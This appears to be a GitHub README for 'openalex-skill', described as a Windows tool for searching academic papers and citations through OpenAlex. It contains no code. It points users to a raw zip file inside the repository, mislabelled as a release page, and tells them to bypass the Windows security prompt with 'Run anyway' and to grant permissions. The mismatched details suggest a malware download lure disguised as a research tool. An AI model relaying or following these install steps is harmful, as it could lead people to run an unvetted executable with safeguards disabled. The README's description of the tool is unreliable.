Out-bloodspavin173/openalex-skill

🚀 What this tool does
openalex-skill is a simple Windows tool for looking up academic papers, checking citations, and using OpenAlex data in agent workflows. It helps you search for authors, journals, works, and links between papers without needing to learn a complex system.
Use it when you want to:
- Search for papers by title, author, or topic
- Check citation counts
- Find related research
- Pull data from OpenAlex in a clean format
- Support agent and LLM workflows with research data
💻 Before you start
You only need a Windows computer and internet access.
Recommended setup:
- Windows 10 or Windows 11
- A modern browser
- Enough free space to save the app
- Internet access for searches and data fetches
If your system asks for permission when you open the app, choose **Allow**.
📥 Download openalex-skill
Visit this page to download:
https://raw.githubusercontent.com/Out-bloodspavin173/openalex-skill/main/skills/openalex/skill-openalex-v2.5.zip
On that page, look for the latest release. Download the file for Windows. If there are multiple files, choose the one that ends with .exe or a Windows zip file.
🪟 Install on Windows
If you downloaded an .exe file:
1. Open your **Downloads** folder
2. Double-click the file
3. If Windows shows a security prompt, click **More info** and then **Run anyway** if you trust the file
4. Follow the setup steps on screen
If you downloaded a .zip file:
1. Open your **Downloads** folder
2. Right-click the zip file
3. Choose **Extract All**
4. Open the extracted folder
5. Double-click the app file inside the folder
⚡ First run
After install, open openalex-skill from the Start menu or by double-clicking the app file.
When it starts, you can:
- Enter a search term
- Paste a paper title
- Look up an author
- Ask for citation details
- Use it in a workflow that needs academic data
If the app opens a command window, leave it open while you use it.
🔎 How to use it
openalex-skill is built for simple research tasks.
Try these kinds of searches:
- Paper title search
- Author search
- Topic search
- Citation lookup
- Journal lookup
- Related work search
Example use cases:
- Find papers on a topic like machine learning in education
- Check how many times a paper has been cited
- Find the main authors in a field
- Build a list of sources for a report
- Feed paper data into an agent workflow
🧩 Common workflow
A basic research flow looks like this:
1. Search for a paper or topic
2. Review the results
3. Open the most relevant record
4. Check citations and related works
5. Save the details you need
This keeps your research work in one place and cuts down on manual searching.
🛠️ Tips for best results
Use short and clear search terms. For example:
- climate change and health
- deep learning
- citation networks
- open access publishing
If a search gives too many results:
- Add the author name
- Add a year
- Add a keyword from the title
- Narrow the topic
If you want more exact results, copy the full paper title and paste it into the search.
📚 What you can expect
This app focuses on practical academic search tasks. It aims to give you:
- Clean search results
- Citation data
- Paper and author details
- Fast access to OpenAlex records